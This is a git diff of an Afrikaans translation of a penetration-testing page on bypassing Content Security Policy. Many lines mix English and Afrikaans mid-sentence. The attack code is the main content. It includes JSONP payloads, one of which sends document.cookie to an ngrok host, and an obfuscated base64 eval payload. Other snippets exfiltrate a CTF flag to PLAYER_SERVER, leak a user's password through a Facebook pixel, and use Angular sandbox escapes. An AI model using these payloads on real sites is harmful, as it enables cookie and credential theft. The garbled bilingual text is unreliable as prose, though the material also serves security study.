-Verder, selfs as jy 'n **JS code inside** in 'n lêer kon oplaai met 'n uitbreiding wat deur die server aanvaar word (soos: _script.png_) sal dit nie genoeg wees nie, omdat sommige bedieners soos apache server **select MIME type of the file based on the extension** en blaaiers soos Chrome sal **reject to execute Javascript** code binne iets wat 'n beeld behoort te wees. "Hopelik", is daar foute. Byvoorbeeld, in 'n CTF het ek geleer dat **Apache doesn't know** die _**.wave**_ uitbreiding; daarom stuur dit nie 'n **MIME type like audio/\*** saam nie.
+Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **MIME type van die lêer op grond van die uitbreiding kies** and browsers like Chrome will **weier om Javascript uit te voer** code inside something that should be an image. 'Gelukkig', daar is foute. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
 
-Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy daarin slaag om 'n **misinterpreted extension** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die script op te laai. Of, as die server die korrekte formaat van die opgelaaide lêer kontroleer, skep 'n polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
+From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
-As dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld credentials te exfiltreer deur 'n **injecting a form action** (en dalk verwag dat password managers wagwoorde outomaties invul). Jy kan 'n [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` form actions nie dek nie.
+If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
 
 > [!WARNING]
-> Vir sommige van die volgende payloads is **`unsafe-eval` nie eens nodig nie**.
+> For some of the following payload **`unsafe-eval` is not even needed**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@@ -197,10 +196,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads wat Angular gebruik + 'n library met functions wat die `window` object teruggee ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads wat Angular + 'n biblioteek met funksies gebruik wat die `window` object teruggee ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!TIP]
-> Die post wys dat jy alle **libraries** van `cdn.cloudflare.com` (of enige ander toegelate JS libraries repo) kan **load**, alle bygevoegde **functions** van elke library kan uitvoer, en kan nagaan **watter functions van watter libraries die `window` object teruggee**.
+> Die pos wys dat jy alle **biblioteke** vanaf `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteekrepo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en nagaan **watter funksies van watter biblioteke die `window` object teruggee**.
 ```html
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -224,7 +223,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 {{[].erase.call().alert('xss')}}
 </div>
 ```
-Angular XSS vanaf 'class name':
+Angular XSS van 'n class name:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -232,7 +231,7 @@ Angular XSS vanaf 'class name':
 ```
 #### Misbruik van google recaptcha JS code
 
-Volgens [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om ewekansige JS-kode uit te voer en die CSP te omseil:
+Volgens [**hierdie CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kan jy [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) binne 'n CSP misbruik om arbitrêre JS code uit te voer wat die CSP omseil:
 ```html
 <div
 ng-controller="CarouselController as c"
@@ -268,13 +267,13 @@ https://www.google.com/amp/s/example.com/
 ```
 Misbruik van \*.google.com/script.google.com
 
-Dit is moontlik om Google Apps Script te misbruik om inligting op 'n bladsy binne script.google.com te ontvang. Soos dit [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
+Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n bladsy binne script.google.com. Soos in hierdie [verslag](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
 
 ### Derdepartye-eindpunte + JSONP
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Scenario's soos hierdie, waar `script-src` op `self` gestel is en 'n bepaalde domein whitelisted is, kan deur JSONP omseil word. JSONP endpoints laat onveilige callback-metodes toe wat 'n aanvaller toelaat om XSS uit te voer. Werkende payload:
+Scenario's soos hierdie, waar `script-src` op `self` gestel is en 'n bepaalde domein wat op die witlys is, kan met JSONP omseil word. JSONP endpoints laat onveilige callback methods toe wat 'n attacker toelaat om XSS uit te voer, working payload:
 ```html
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -288,26 +287,26 @@ https://www.youtube.com/oembed?callback=alert;
 ```html
 <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed-om-te-gebruik JSONP endpoints om CSP te omseil op verskeie webwerwe.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat kant-en-klare JSONP endpoints vir CSP-bypass van verskeie webwerwe.**
 
-Dieselfde kwesbaarheid sal voorkom as die **vertroude endpoint 'n Open Redirect bevat**, omdat as die aanvanklike endpoint vertrou is, word omleidings vertrou.
+Die dieselfde kwesbaarheid sal voorkom as die **trusted endpoint contains an Open Redirect** omdat, as die aanvanklike endpoint vertrou word, redirects ook vertrou word.
 
-### Derdeparty-misbruik
+### Derdeparty misbruik
 
-Soos beskryf in die [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty-domeine wat moontlik iewers in die CSP toegelaat word en misbruik kan word om óf data te exfiltrate óf JavaScript-kode uit te voer. Sommige van hierdie derdepartye is:
+Soos beskryf in die [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), daar is baie derdeparty-domeine wat dalk êrens in die CSP toegelaat word en wat misbruik kan word om data te exfiltrate of JavaScript code uit te voer. Sommige van hierdie derdepartye is:
 
-| Entiteit           | Toegelate domeine                            | Vermoëns    |
-| ------------------ | -------------------------------------------- | ----------- |
-| Facebook           | www.facebook.com, \*.facebook.com            | Exfil       |
-| Hotjar             | \*.hotjar.com, ask.hotjar.io                 | Exfil       |
-| Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec        |
-| Amazon CloudFront  | \*.cloudfront.net                            | Exfil, Exec |
-| Amazon AWS         | \*.amazonaws.com                             | Exfil, Exec |
-| Azure Websites     | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
-| Salesforce Heroku  | \*.herokuapp.com                             | Exfil, Exec |
-| Google Firebase    | \*.firebaseapp.com                           | Exfil, Exec |
+| Entiteit           | Toegelate Domain                             | Vermoëns     |
+| ------------------ | -------------------------------------------- | ------------ |
+| Facebook           | www.facebook.com, \*.facebook.com            | Exfil        |
+| Hotjar             | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
+| Jsdelivr           | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
+| Amazon CloudFront  | \*.cloudfront.net                            | Exfil, Exec  |
+| Amazon AWS         | \*.amazonaws.com                             | Exfil, Exec  |
+| Azure Websites     | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
+| Salesforce Heroku  | \*.herokuapp.com                             | Exfil, Exec  |
+| Google Firebase    | \*.firebaseapp.com                           | Exfil, Exec  |
 
-As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n goeie kans dat jy die CSP kan omseil deur by die derdepartydiens te registreer en óf data te exfiltrate na daardie diens óf kode uit te voer.
+As jy enige van die toegelate domeine in die CSP van jou teiken vind, is dit waarskynlik dat jy die CSP kan omseil deur op die derdeparty-diens te registreer en óf data na daardie diens te exfiltrate óf code uit te voer.
 
 Byvoorbeeld, as jy die volgende CSP vind:
 ```
@@ -317,41 +316,41 @@ of
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
-Jy behoort in staat te wees om exfiltrate data, soortgelyk aan hoe dit altyd met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gedoen is. In hierdie geval volg jy hierdie algemene stappe:
+Jy behoort in staat te wees om data te exfiltrate, soortgelyk aan hoe dit nog altyd met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gedoen is. In hierdie geval volg jy die volgende algemene stappe:
 
 1. Skep 'n Facebook Developer account hier.
 2. Skep 'n nuwe "Facebook Login" app en kies "Website".
 3. Gaan na "Settings -> Basic" en kry jou "App ID"
 4. Op die target site waarvan jy data wil exfiltrate, kan jy data exfiltrate deur direk die Facebook SDK gadget "fbq" te gebruik via 'n "customEvent" en die data payload.
-5. Gaan na jou App "Event Manager" en kies die toepassing wat jy geskep het (let wel: die event manager kan in 'n URL soos hierdie gevind word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
+5. Gaan na jou App "Event Manager" en kies die application wat jy geskep het (let wel dat die event manager in 'n URL gevind kan word wat soortgelyk is aan hierdie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
 6. Kies die tab "Test Events" om die events te sien wat deur "jou" web site gestuur word.
 
-Dan, aan die victim-kant, voer jy die volgende code uit om die Facebook tracking pixel te initialiseer sodat dit na die attacker's Facebook developer account app-id wys en 'n custom event uitstuur soos volg:
+Dan, aan die victim kant, voer jy die volgende code uit om die Facebook tracking pixel te initialize om na die attacker's Facebook developer account app-id te wys en 'n custom event uit te gee soos volg:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-Wat die ander sewe derdeparty-domeine in die vorige tabel betref, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die eerdergenoemde [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir bykomende verduidelikings oor ander misbruike van derdeparty-domeine.
+Wat die ander sewe derdeparty-domeine in die vorige tabel betref, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die voorafgaande [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir addisionele verduidelikings oor ander derdeparty-misbruike.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
-Benewens die hiervoor genoemde omleiding om padbeperkings te bypass, is daar 'n ander tegniek genaamd Relative Path Overwrite (RPO) wat op sommige bedieners gebruik kan word.
+Benewens die hierbo genoemde herleiding om padbeperkings te omseil, is daar nog 'n tegniek genaamd Relative Path Overwrite (RPO) wat op sommige servers gebruik kan word.
 
-Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit soos volg bypass word:
+Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit as volg omseil word:
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
-Die blaaier sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
+Die blaaier sal uiteindelik die lêer `https://example.com/scripts/angular/angular.js` laai.
 
-Dit werk omdat die blaaier `..%2fangular%2fangular.js` laai wat onder `https://example.com/scripts/react/` geleë is, wat in ooreenstemming met CSP is.
+Dit werk omdat jy vir die blaaier 'n lêer met die naam `..%2fangular%2fangular.js` laai wat onder `https://example.com/scripts/react/` geleë is, wat voldoen aan CSP.
 
-Sodra dit gedekodeer word, versoek dit effektief `https://example.com/scripts/react/../angular/angular.js`, wat ekwivalent is aan `https://example.com/scripts/angular/angular.js`.
+Dan dekodeer hulle dit, wat effektief `https://example.com/scripts/react/../angular/angular.js` versoek, wat gelykstaan aan `https://example.com/scripts/angular/angular.js`.
 
-Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaier en die bediener te benut, kan die padreëls omseil word**.
+Deur **misbruik te maak van hierdie inkonsekwentheid in URL-interpretasie tussen die blaaier en die bediener, kan die padreëls omseil word**.
 
-Die oplossing is om `%2f` nie as `/` aan die bedienerkant te behandel nie, en sodoende 'n konsekwente interpretasie tussen die blaaier en die bediener te verseker om hierdie probleem te vermy.
+Die oplossing is om nie `%2f` as `/` aan die bediener-kant te hanteer nie, sodat interpretasie tussen die blaaier en die bediener konsekwent is om hierdie probleem te vermy.
 
 Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 
@@ -362,25 +361,25 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
 {{#endref}}
 
-### Ontbrekende **base-uri**
+### ontbrekende **base-uri**
 
-As die **base-uri** directive ontbreek kan jy dit misbruik om 'n [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) uit te voer.
+As die **base-uri**-direktief ontbreek, kan jy dit misbruik om 'n [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) uit te voer.
 
-Verder, as die **page is loading a script using a relative path** (soos `<script src="/js/app.js">`) wat 'n **Nonce** gebruik, kan jy die **base** **tag** misbruik om dit te laat **load** die script vanaf **jou own server achieving a XSS.**\
+Boonop, as die **bladsy 'n script laai met 'n relatiewe pad** (soos `<script src="/js/app.js">`) wat 'n **Nonce** gebruik, kan jy die **base** **tag** misbruik om dit vanaf **jou eie bediener te laat laai**, wat 'n XSS veroorsaak.\
 As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS url in die base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
-### AngularJS gebeurtenisse
+### AngularJS gebeure
 
-'n Spesifieke beleid, bekend as Content Security Policy (CSP), kan JavaScript-gebeure beperk. Desondanks bied AngularJS aangepaste gebeure as 'n alternatief. Binne 'n gebeurtenis voorsien AngularJS die unieke objek `$event`, wat na die native browser event-objek verwys. Hierdie `$event`-objek kan uitgebuit word om die CSP te omseil. Opmerkingswaardig is dat in Chrome die `$event/event`-objek 'n `path`-attribuut het, wat 'n array van objekte bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window`-objek altyd aan die einde. Hierdie struktuur is deurslaggewend vir sandbox escape-taktieke.
+'n Spesifieke beleid bekend as Content Security Policy (CSP) kan JavaScript-gebeure beperk. Nietemin bied AngularJS aangepaste gebeure as 'n alternatief. Binne 'n gebeurtenis voorsien AngularJS 'n unieke objek `$event`, wat na die inheemse blaaier se gebeurtenis-objek verwys. Hierdie `$event`-objek kan uitgebuit word om die CSP te omseil. Opmerklik is dat in Chrome die `$event/event`-objek 'n `path`-eienskap het wat 'n array van objekke bevat wat by die gebeurtenis-uitvoeringsketting betrokke is, met die `window`-objek altyd aan die einde. Hierdie struktuur is deurslaggewend vir sandbox escape-taktieke.
 
-Deur hierdie array na die `orderBy`-filter te rig, is dit moontlik om dit te deurloop en die finale element (die `window`-objek) te gebruik om 'n globale funksie soos `alert()` te aktiveer. Die onderstaande voorbeeld-kode verduidelik hierdie proses:
+Deur hierdie array na die `orderBy`-filter te stuur, is dit moontlik om daaroor te iterereer en die terminaalelement (die `window`-objek) te gebruik om 'n globale funksie soos `alert()` aan te roep. Die onderstaande kode-voorbeeld illustreer hierdie proses:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Hierdie snippet beklemtoon die gebruik van die `ng-focus` direktief om die gebeurtenis te aktiveer, gebruik `$event.path|orderBy` om die `path`-reeks te manipuleer, en benut die `window`-objek om die `alert()`-funksie uit te voer, sodoende `document.cookie` te openbaar.
+Hierdie kodefragment beklemtoon die gebruik van die `ng-focus` direktief om die gebeurtenis te aktiveer, deur `$event.path|orderBy` te gebruik om die `path`-reeks te manipuleer, en deur die `window`-objek te benut om die `alert()`-funksie uit te voer, wat sodoende `document.cookie` openbaar maak.
 
 **Vind ander Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 
@@ -388,7 +387,7 @@ Hierdie snippet beklemtoon die gebruik van die `ng-focus` direktief om die gebeu
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-’n CSP-beleid wat domeine vir script loading in ’n Angular JS-toepassing op ’n witlys plaas, kan omseil word deur die aanroep van callback functions en sekere kwesbare classes. Verdere inligting oor hierdie tegniek is beskikbaar in ’n gedetailleerde gids op hierdie [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+’n CSP-beleid wat domeine op die witlys plaas vir script loading in ’n Angular JS-toepassing kan omseil word deur die aanroep van callback functions en sekere kwesbare classes. Meer inligting oor hierdie tegniek is beskikbaar in ’n gedetailleerde gids op hierdie [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Werkende payloads:
 ```html
@@ -398,13 +397,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 <!-- no longer working -->
 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 ```
-Ander JSONP arbitrary execution endpoints kan gevind word in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige daarvan is verwyder of reggemaak)
+Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige daarvan is verwyder of reggestel)
 
 ### Bypass via Redirection
 
-Wat gebeur wanneer CSP 'n bedienerkant-omleiding teëkom? As die omleiding na 'n ander origin lei wat nie toegelaat word nie, sal dit steeds misluk.
+Wat gebeur wanneer CSP server-side redirection teëkom? As die redirection na 'n ander origin lei wat nie toegelaat is nie, sal dit steeds misluk.
 
-Volgens die beskrywing in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), kan 'n omleiding wat na 'n ander pad lei, egter die oorspronklike beperkings omseil.
+However, according to the description in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), if the redirection leads to a different path, it can bypass the original restrictions.
 
 Hier is 'n voorbeeld:
 ```html
@@ -426,67 +425,67 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 As CSP gestel is op `https://www.google.com/a/b/c/d`, aangesien die pad in ag geneem word, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
 
-Die finale `http://localhost:5555/301` sal egter **op die server-side herlei word na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Aangesien dit 'n herleiding is, word die **pad nie in ag geneem nie**, en die **skrip kan gelaai word**, wat dus die padbeperking omseil.
+Die finale `http://localhost:5555/301` sal egter **server-side omgerig word na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Omdat dit 'n omleiding is, word die **pad nie in ag geneem nie**, en die **skrip kan gelaai word**, wat dus die padbeperking omseil.
 
-Met hierdie herleiding sal dit, selfs as die pad volledig gespesifiseer is, steeds omseil word.
+Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
 
 Daarom is die beste oplossing om te verseker dat die webwerf geen open redirect kwesbaarhede het nie en dat daar geen domeine in die CSP-reëls is wat misbruik kan word nie.
 
 ### Bypass CSP with dangling markup
 
-Lees [hier hoe](../dangling-markup-html-scriptless-injection/index.html).
+Read [how here](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; via XSS
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy op die webblad enige beeld van enige bron kan gebruik.
+`'unsafe-inline'` beteken dat jy enige script binne die code kan uitvoer (XSS kan code uitvoer) en `img-src *` beteken dat jy in die webblad enige image van enige bron kan gebruik.
 
-Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en ekstraheer die flag via 'n beeld):
+Jy kan hierdie CSP omseil deur die data via images te exfiltrate (in hierdie geval misbruik die XSS 'n CSRF waar 'n page wat deur die bot toeganklik is 'n SQLi bevat, en die flag via 'n image ekstraheer):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
 Image().src='http://PLAYER_SERVER/?'+_)
 </script>
 ```
-Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
+From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Jy kan hierdie konfigurasie ook misbruik om **javascript code wat in 'n beeld ingevoeg is, te laai**. As die blad byvoorbeeld toelaat om beelde vanaf Twitter te laai, kan jy 'n **spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te **voer** wat die **beeld** sal **laai**, die **JS** daaruit **uittrek** en dit **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Jy kan hierdie konfigurasie ook misbruik om **javascript-kode wat in 'n beeld ingesit is te laai**. As byvoorbeeld die bladsy toelaat om beelde vanaf Twitter te laai. Jy kan **'n spesiale beeld skep**, **dit na Twitter upload** en die "**unsafe-inline**" misbruik om **'n JS-kode uit te voer** (soos 'n gewone XSS) wat die **beeld** sal **laai**, die **JS** daaruit **uittrek** en dit **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Met Service Workers
 
-Service workers se **`importScripts`** funksie word nie deur CSP beperk nie:
+Service workers se `importScripts` funksie is nie deur CSP beperk nie:
 
 
 {{#ref}}
 ../xss-cross-site-scripting/abusing-service-workers.md
 {{#endref}}
 
-### Beleidsinjeksie
+### Policy Injection
 
-**Navorsing:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
+Navorsing: [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
 
 #### Chrome
 
-As 'n **parameter** wat deur jou gestuur word in die **verklaring** van die **beleid** ingevoeg word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **allow script 'unsafe-inline'** kry met enige van hierdie omseilings:
+As 'n parameter wat deur jou gestuur is binne die deklarasie van die policy ingeplak word, kan jy die policy op 'n wyse verander wat dit nutteloos maak. Jy kan script 'unsafe-inline' toelaat met enige van hierdie bypasses:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Omdat hierdie directive die bestaande script-src directives sal **oorskryf**.\
+Omdat hierdie directive die **bestaande script-src directives** oorskryf.\
 Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 
 #### Edge
 
-In Edge is dit baie eenvoudiger. As jy net dit in die CSP kan voeg: **`;_`** sal **Edge** die hele **beleid** verwerp.\
-Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
+In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: **`;_`**, sal **Edge** die hele **beleid** verwyder.\
+Voorbeeld: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
-### img-src \*; via XSS (iframe) - Tydaanval
+### img-src \*; via XSS (iframe) - Time attack
 
-Let op die gebrek aan die direktief `'unsafe-inline'`\
-Hierdie keer kan jy die slagoffer laat **laai** 'n bladsy onder **jou beheer** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer laat toegang kry tot die bladsy waarvan jy inligting wil onttrek (**CSRF**). Jy kan nie toegang tot die inhoud van die bladsy kry nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan beheer, kan jy die inligting wat jy nodig het onttrek.
+Let op die afwesigheid van die directive `'unsafe-inline'`\
+Hierdie keer kan jy die slagoffer laat **laai** 'n bladsy onder **jou beheer** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer laat toegang kry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie toegang tot die inhoud van die bladsy kry nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting onttrek wat jy benodig.
 
-Hierdie keer gaan 'n **flag** onttrek word; elke keer wanneer 'n **char korrek geraai** word via SQLi neem die **antwoord** **meer tyd** as gevolg van die sleep-funksie. Dan sal jy die flag kan onttrek:
+Hierdie keer gaan 'n **flag** onttrek word: wanneer 'n **char korrek geraai** word via SQLi neem die **response** **meer tyd** as gevolg van die sleep function. Dan sal jy in staat wees om die flag te onttrek:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -546,24 +545,24 @@ console.log(prefix)
 run()
 </script>
 ```
-### Via Bookmarklets
+### Deur Bookmarklets
 
-Hierdie aanval behels sosiale ingenieurskap waar die aanvaller die gebruiker **oortuig om 'n skakel oor die bookmarklet van die blaaier te sleep en neer te laat**. Hierdie bookmarklet sal **kwaadaardige javascript** kode bevat wat wanneer drag\&dropped of geklik word in die konteks van die huidige webvenster uitgevoer word, **CSP omseil en toelaat dat sensitiewe inligting** soos cookies of tokens gesteel word.
